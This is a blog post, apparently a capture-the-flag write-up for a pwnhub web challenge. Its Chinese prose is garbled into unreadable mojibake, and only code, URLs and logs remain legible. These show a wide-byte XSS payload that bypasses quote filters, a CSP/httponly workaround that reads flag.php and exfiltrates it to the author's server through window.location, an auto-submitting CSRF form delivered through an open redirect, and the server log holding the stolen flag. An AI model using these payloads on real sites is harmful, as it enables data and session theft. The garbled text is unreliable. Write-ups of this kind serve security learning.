LoRexxar's Blog

pwnhub_WTF_writeup

2016/12/10

鍛ㄤ簲鏅氫笂鏈潵鏄湅鍓х湅鍒扮疮锛岀劧鍚庢墦浼氬効娓告垙鐨勬棩瀛愶紝涓鍒囩殑绁稿洜閮芥槸澶ч粦瀹㈠憡璇夋垜pwnhub寮濮嬩簡Orz鈥

鐒惰屾湰浠ヤ负鎬濊矾鏄竴甯嗛椤虹殑锛岀粨鏋滄垚鍔焫ss鑷繁鍚庯紝鎼炰笉瀹歛dmin鐨勯棶棰橈紝缁濇湜鍒板瘽瀹ゆ柇鐢碘︾劧鑰岀flag鍙湁涓涓浆韬殑璺濈鈥

鍏堢湅鐪嬮鐩俊鎭

1
2
3
4
5
6
棰樼洰浠嬬粛
http://54.223.108.205:23333
---------
12.10 00.00 admin鍙槸涓涓敤鎴峰悕 娌℃湁鐗规潈

杩涘幓鍚庢祴璇曚笅鏁翠釜棰樼洰閫昏緫锛屽彂鐜颁簡鍑犵偣

1銆佺櫥闄嗘敞鍐岄兘鏈夐獙璇佺爜

2銆佹柊寤篴rticle浼犲叆title鍜宑ontent锛屼細鏈夊彲浠ョ湅鐨勯〉闈

3銆乿iews.php閫氳繃浼犲叆id鐨刡ase64鍒ゆ柇锛宨d閫掑

4銆佹湁涓涓猺eportbug锛屽彲浠ヨ绠$悊鍛樼湅鎻愪氦杩囩殑椤甸潰

浣嗘槸浜嬪疄涓婅繖閲岃繕鏈夊緢澶氶殣钘忔潯浠讹紝涓嶇煡閬撴湁澶氬皯浜哄彂鐜颁簡

1銆佺櫥闄嗘垚鍔熷悗锛屽啀娆¤闂甽ogin.php灏变細瀛樺湪璺宠浆

2銆乿iews.php涓嶈兘璁块棶鍒汉鐨勮〃鍗

3銆佹彁浜よ〃鍗曟槸post鏂瑰紡

4銆乺eportbug蹇呴』鏄http://54.223.108.205:23333寮澶

5銆乶ew.php鎻愪氦鏃惰繃婊や簡鍗曞弻寮曞彿鍙嶅紩鍙疯繕鏈夊皷鎷彿

6銆乿iew.php鍐欏叆椤甸潰鐨勬椂鍊欎娇鐢ㄤ簡jq鐨刪tml()鏂规硶

7銆侀〉闈腑鏈塩sp锛屼絾鏄紑鍚簡unsafe-inline

8銆侀〉闈腑浣跨敤鐨勬槸gbk缂栫爜锛屼篃灏辨槸瀛樺湪瀹藉瓧鑺傞棶棰

9銆乻ession鏄痟ttponly鐨

10銆乫lag.php鏀句簡flag锛屽彧鏈塧dmin鑳界湅鍒

璁╂垜浠噸鏂版⒊鐞嗘暣涓鐩殑閫昏緫锛岄鍏堟垜浠渶瑕佹瀯閫犱竴涓獂ss銆

writeup

鏋勯爔ss

鏋勯犳爣绛

棣栧厛鏄熀鏈殑杩囨护锛屽崟鍙屽紩鍙峰弽寮曞彿杩樻湁灏栨嫭鍙烽兘鏄洿鎺ヨ杩囨护鐨勶紝浣嗘槸鎴戜滑鍦ㄦ敞鎰忓埌锛寁iews.php椤甸潰鏄繖鏍风殑

1
2
3
4
5
6
<script>
title="fda";
content="fda";
$("#title").html(title);
$("#content").html(content);
</script>

杩欓噷杩樻湁涓涓瘮杈冮噸瑕佺殑淇℃伅鏄紪鐮侊紝鎴戜滑鍙互鐪嬪埌椤甸潰涓殑缂栫爜鏄

1
<meta charset="GBK">

杩欓噷鏈寮濮嬫垜鐨勬兂娉曟槸閫氳繃浼犲叆%df%5c鏉ヨ浆涔夊弻寮曞彿锛岄棴鍚堝悗涓涓弻寮曞彿锛岃繖鏍穋onten浣嶇疆灏卞彲浠ヤ换鎰忔瀯閫犱簡锛屼絾鏄繖閲屾湁涓棶棰橈紝鍥犱负js涓瓧绗︿覆涓笉鍙互璺ㄨ锛岄櫎闈炲湪琛屾湯鏍囨敞涓涓弽鏂滄潬锛屼簬鏄繖绉嶆兂娉曞崚浜嗐

浣嗘槸閭d箞鏃㈢劧鎴戜滑鍙互浼犲叆浠绘剰鐨勫弽鏂滄潬锛岃屼笖jq鐨刪tml浼氭妸鍗佸叚杩涘埗杞箟涓虹鍙凤紝鎴戜滑灏卞彲浠ヤ紶鍏ュ崄鍏繘鍒剁殑鏂瑰紡鏉ユ敞鍏ヤ换鎰忕鍙凤紝姣斿璇村皷鎷彿锛岃繖閲屾湁涓皬鍧戯紝灏辨槸html()鍜宒ocument.write涓嶄竴鏍凤紝鍐欏叆鐨剆cript鏍囩浼氫笉鎵ц锛岄偅涔堣繖閲岄夋嫨浼犲叆img鎴栬卻vg鏍囩銆

payload

1
title=%df%5Cx3c%df%5Cx3e&content=%df%5Cx3cimg src=x onerror=alert(1)// c=%df%5Cx3e&submit=submit

缁曡繃csp浼犲嚭鏁版嵁

鎴愬姛浜嗭紝浣嗘槸杩欓噷閬囧埌浜嗘柊鐨勯棶棰橈紝绗竴涓槸鎴戜滑濡備綍鎶婃暟鎹彂閫佸嚭鏉ワ紝鍥犱负csp鐨勫師鍥狅紝鎴戜滑娌″姙娉曟妸鏁版嵁浼犲嚭鏉ワ紝杩欓噷鎴戦夋嫨浜window.location璺宠浆鍒版垜鐨勬湇鍔″櫒涓婏紝閫氳繃鏌ョ湅log鏉ョ粫杩囥

缁曡繃娌″姙娉曚紶鍏ュ瓧绗︿覆鐨勯棶棰

閭d箞鍙堟湁浜嗘柊鐨勯棶棰橈紝鍥犱负鎴戜滑娌″姙娉曚紶鍏ュ崟鍙屽紩鍙凤紙濡傛灉浣跨敤瀹藉瓧鑺傚悶锛屼細鏈変竴涓壒娈婂瓧绗﹀湪绗﹀彿鍓嶏紝js浠g爜浼氱洿鎺ユ姤閿欙級锛屾墍浠ユ垜浠病鍔炴硶鐩存帴浼犲叆瀛楃涓层

鎴戣繖閲屼娇鐢ㄤ簡window.location.search.substr(15,8)鏉ヨ幏鍙栭摼鎺ヤ笂鐨勫瓧绗︿覆锛堣繖閲岀鐢ㄤ簡#鍙凤紝鎵浠ユ病鍔炴硶閫氳繃window.location.search.substr(15,8)鏉ヨ幏鍙栵級锛岀劧鍚庡湪杩炴帴涓婂姞涓婃柊鐨勫弬鏁般

缁曡繃httponly

浠旂粏鐪嬩竴涓媍ookie锛屾垜浠彂鐜帮紝session鏄痟ttponly鐨勶紝涔熷氨璇存垜浠病鍔炴硶閫氳繃document.cookie鑾峰彇鍒癱ookie锛屽啀閰嶅悎涓奻lag瀛樺湪flag.php,杩欓噷鎴戦夋嫨浜嗘瀯閫爅q鐨勮姹傦紝鑾峰彇flag.php鐨勯〉闈㈡簮鐮併

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$.get(
window.location.search.substr(15,8),{
id: document.domain,
},function(data){
$.get(
window.location.search.substr(23),{
id: data,
},function(data){
window.location=decodeURIComponent(window.location.search.substr(23))+encodeURIComponent(data);
}
)
}
)

杩欓噷璇锋眰绫讳技浜

1
2
http://54.223.108.205:23333/view.php?id=MTU0ODQ2&p=flag.phphttp%3A%2f%2f115.28.78.16%2f

杩欐牱涓涓畬鏁寸殑xss payload灏辨瀯閫犲ソ浜嗭紝閭d箞鎴戜滑閬囧埌浜嗘柊鐨勯棶棰橈紝鎬庝箞璁╃鐞嗗憳鐪嬪埌杩欐牱涓涓〉闈㈠憿锛

鏋勯燾srf

鐩厜閲嶆柊鍥炲埌report bugs锛岃繖閲岀殑report bug鏈変袱涓潯浠

1銆佸繀椤绘槸http://54.223.108.205:23333寮澶
2銆佷笉鑳芥湁#\@杩欐牱鐨勭鍙

鍥炴兂鍓嶉潰鎵惧埌鐨勬潯浠讹紝杩樿寰楄烦杞悧

姣斿璇翠紶鍏

1
http://54.223.108.205:23333/login.php?redirecturl=http://115.28.78.16

鍚庡彴瀹堟姢鐨刡ot灏变細璺宠浆鍒http://115.28.78.16鍘讳簡銆

閭d箞鎴戜滑寰堝悎鐞嗗氨鍙互鎯冲埌鍦ㄨ烦杞埌鐨勪綅缃瀯閫犱竴涓嚜鍔ㄦ彁浜ょ殑琛ㄥ崟锛岃繖鏍峰氨鍙互鏋勬垚涓涓猵ost璇锋眰鍚憂ew.php锛屾垚鍔熷垱寤轰竴涓〃鍗曟彁浜わ紙鎴戝眳鐒跺湪杩欓噷鍗′簡1涓皬鏃剁洿鍒版柇鐢碘︼級

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<html>
<head>
</head>
<body>
<?php
$s = "%df%5Cx3cimg src=x onerror=window.onload=function(){\$.get(window.location.search.substr(15,8),{id:document.domain,},function(data){window.location=decodeURIComponent(window.location.search.substr(23))+encodeURIComponent(data);})};// c=%df%5Cx3e";
$st = urldecode($s);
?>
<form action="http://54.223.108.205:23333/new.php" method="POST">
<input type="text" name="title" value="test2">
<input type="text" name="content" value="<?php echo $st; ?>">
<input type="submit" name="ssubmit" value="submit">
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>

瀹屾垚鏀诲嚮

鎵鏈夋潯浠堕兘鎴愮珛浜嗭紝閭d箞灏辨槸鎵撲竴娉ayload浜嗐

棣栧厛锛屾湰鍦版彁浜や竴浠借〃鍗曪紝鑾峰緱琛ㄥ崟鐨勫簭鍙凤紝MTU0NTQ5-->154549

鍙戦佸啓鍏rticle鐨勮姹

1
http://54.223.108.205:23333/login.php?redirecturl=http%3A%2f%2f115.28.78.16%2f1.php

鐒跺悗鎷兼帴payload锛屾墦cookie

1
http://54.223.108.205:23333/view.php?id=MTU0ODQ2&p=flag.phphttp%3A%2f%2f115.28.78.16%2f

鐒跺悗鏌ョ湅鏈嶅姟鍣ㄧ殑log

1
2
54.223.108.205 - - [10/Dec/2016:10:34:18 +0800] "GET /%0D%0Aflag%20is%20here!%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0D%0A%E6%81%AD%E5%96%9C%E6%89%BE%E5%88%B0flag%EF%BC%8C%E4%B8%8D%E8%BF%87%E4%BD%9C%E4%B8%BA%E5%87%BA%E9%A2%98%E4%BA%BA%E5%BF%83%E9%87%8C%E6%98%AF%E5%B4%A9%E6%BA%83%E7%9A%84%EF%BC%8C%E6%88%91%E6%83%B3%E8%AF%B4~~~~!%40%23%24%25%5E%26*()_%2B%7B%7D%7C%3A%22%3C%3E%3F~%60-%3D%5B%5D%5C%3B'.%2F%5C%0D%0A%0D%0Apwnhub%7Bflag%3A%E5%A5%B3%E5%AD%A9%E7%9A%84%E5%BF%83%E6%80%9D%E4%BD%A0%E5%88%AB%E7%8C%9C%7D%0D%0A HTTP/1.1" 404 162 "http://54.223.108.205:23333/view.php?id=MTU0ODQ2&p=flag.phphttp%3A%2f%2f115.28.78.16%2f" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:50.0) Gecko/20100101 Firefox/50.0" -

鏈鍚庤繕鍓╀笅涓や釜鍧戯紝涓涓槸鐏棩甯堝倕鍔犱簡涓澶у爢绗﹀彿锛岃繖閲屽鏋滄病鏈夊仛urlencode鍐嶄紶鍑哄氨浼氳闃舵锛岀劧鍚巉lag鏄腑鏂囩殑锛屽緢绋冲仴Orz

1
flag is here! 鎭枩鎵惧埌flag锛屼笉杩囦綔涓哄嚭棰樹汉蹇冮噷鏄穿婧冪殑锛屾垜鎯宠~~~~!@#$%^&*()_+{}|:"<>?~`-=[]\;'./\ pwnhub{flag:濂冲鐨勫績鎬濅綘鍒寽}
CATALOG
  1. 1. 鍏堢湅鐪嬮鐩俊鎭
  2. 2. writeup
    1. 2.1. 鏋勯爔ss
      1. 2.1.1. 鏋勯犳爣绛
      2. 2.1.2. 缁曡繃csp浼犲嚭鏁版嵁
      3. 2.1.3. 缁曡繃娌″姙娉曚紶鍏ュ瓧绗︿覆鐨勯棶棰
      4. 2.1.4. 缁曡繃httponly
    2. 2.2. 鏋勯燾srf
    3. 2.3. 瀹屾垚鏀诲嚮